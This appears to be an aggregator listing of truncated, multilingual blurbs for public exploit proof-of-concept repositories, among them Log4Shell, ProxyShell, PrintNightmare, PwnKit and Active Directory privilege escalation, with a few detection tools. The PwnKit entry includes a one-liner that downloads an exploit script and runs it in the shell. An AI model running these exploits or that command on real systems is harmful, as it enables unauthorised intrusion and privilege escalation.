CVE-2021-41277

CVE-2021-41277 programme simple pour exploiter metabase Installation gem install httparty gem install colorize gem install timeout ruby CVE.rb...

log4j-cve-2021-44228

Log4j CVE-2021-44228 и CVE-2021-45046 Требования Используйте уязвимую JDK, например JDK 1.8.0181 Использование Вредоносный сервер Вредоносный сервер разворачивает следующие конечные точки: 1389 LDAP-сервер 1099 RMI-сервер 8081 HTTP-сервер root@kitploit: ./gradlew :malicious-server:bootRun Уязвимо...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx Генератор Генерация .docx для эксплуатации CVE-2021-40444 удалённое выполнение кода в Microsoft Office Word 1. Создайте пустой файл .docx. 2. Добавьте объект "Bitmap Iamge" в меню "Inert/Object". Добавление объекта...

cpiopwn

cpiopwn CVE-2021-38185 Это ACE POC уязвимости целочисленного переполнения в cpio. Данный эксплойт обходит все бинарные защиты, за исключением полного RELRO. Эксплойт использует cpio 2.13 и libc 2.31. Видеодемонстрация: https://youtu.be/F0yKJhu7Vak Запуск эксплойта Мы предоставили Dockerfile для...

proxyshell

ProxyShell Preuve de concept d'exploit pour Microsoft Exchange CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 Détails Pour des informations contextuelles et de fond, lisez le billet de blog détaillant les recherches d'Horizon3 : https://www.horizon3.ai/news/blog/proxyshell Fonctionnalités Aucune...

PrintNightmare-LPE

CVE-2021-1675PrintNightmare PoC для получения системной оболочки для CVE-2021-1675 Windows Print Spooler — повышение привилегий авторы: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ссылка: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 Благодарность всем...

CVE-2021-4034

CVE-2021-4034 script bash autonome, lancez-le et pwn ! avec référence au billet de blog de Qualys https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Это proof of concept эксплуатации уязвимости log4j rce. Вот несколько ссылок по CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

Ox4Shell

Ox4Shell Log4Shell 페이로드를 쉽게 난독 해제합니다. 설명 Log4Shell 취약점CVE-2021-44228이 공개된 이후, 많은 도구들이 Log4Shell 페이로드를 난독화하기 위해 만들어졌으며, 이는 보안 엔지니어들의 삶을 악몽으로 만들었습니다. 이 도구는 난독화된 Log4Shell 페이로드의 실제 내용을 밝혀내기 위한 것입니다. 예를 들어, 다음과 같은 난독화된 페이로드를 살펴보겠습니다: root@kitploit:...

CVE-2021-3007-docker-poc

CVE-2021-3007 — Laminas/Zend HTTP 역직렬화 RCE 이 저장소는 Zend\Http\Response\Stream laminas-http Nuclei 익스플로잇 템플릿 ├── docker-compose.yml - 취약한 테스트 환경 ├── Dockerfile ├── vulnerable-app/ │ ├── index.php - unserialize 취약점이 있는 엔드포인트 │ └── composer.json - 취약한 종속성 ├── exploit.php - 독립 실행형 익스플로잇 스크립트 └──...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE（PowerShell） Caleb Stewart | John Hammond | 2021年7月1日 CVE-2021-1675は、PrintNightmareと呼ばれる深刻なリモートコード実行およびローカル権限昇格の脆弱性です。 リモートコード実行機能に対する概念実証エクスプロイトが公開されています（Python、C++）。また、ローカル権限昇格用のC版もあります。純粋なPowerShellでのネイティブ実装は見られなかったため、エクスプロイトを洗練・再構築してみることにしました。...

CVE-2021-31630-HTB

Exploit CVE-2021-31630 Exploit PoC pour CVE-2021-31630 ciblant OpenPLC sur la box WifineticTwo Hack The Box. Ce script sert de preuve de concept PoC pour l'exploitation de CVE-2021-31630, visant le service OpenPLC exécuté sur la box WifineticTwo de la plateforme Hack The Box. Utilisation...

PwnKit

PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 취약한 Ubuntu, Debian, Fedora, CentOS 기반 Linux 배포판에서 바로 작동합니다. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 사용법 root@kitploit: curl -fsSL...

CVE-2021-44731-snap-confine-SUID

CVE-2021-44731-snap-confine-SUID CVE-2021-44731, snap-confine 2.54.2 및 이하 버전에 대한 로컬 권한 상승 익스플로잇 이 취약점을 발견하고 상세한 익스플로잇을 제공한 Qualys에 모든 공을 돌립니다. https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt 빠르고 대충 만든 snap-confine LPE입니다. 취약한 버전의 snap-confine을 검색하고, 발견되면 익스플로잇을 수행합니다. 루...

CVE-2022-21882

CVE-2022-21882 win32k LPE bypass CVE-2021-1732 тестировалось только на windows 20h2 19042.1415 https://twitter.com/kalendsi/status/1483770845138804738...

CVE-2021-2471

CVE-2021-2471 environnement Maven Processus de reproduction ici Environnement de référence : https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe...

CVE-2021-43224-POC

CVE-2021-43224-POC Windows 共通ログ ファイル システム ドライバー POC おそらく CVE-2021-43226 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43226 単なるBSODです !!! windows 20H2 ver 19042.1387 でテスト済み...

log4j-detect

log4j-detect Simple script Python 3 pour détecter la vulnérabilité de la bibliothèque Java "Log4j" CVE-2021-44228 pour une liste d'URL avec multithreading. Le script "log4j-detect.py" développé en Python 3 est chargé de détecter si une liste d'URL est vulnérable à CVE-2021-44228. Pour ce faire, i...

log4j-detect

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability CVE-2021-44228 for a list of URL with multithreading The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228. To do so, it sends a G...

Pachine

Pachine Python-реализация для CVE-2021-42278 повышение привилегий в Active Directory. Установка root@kitploit: $ pip3 install impacket Использование root@kitploit: Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE -domain-netbios...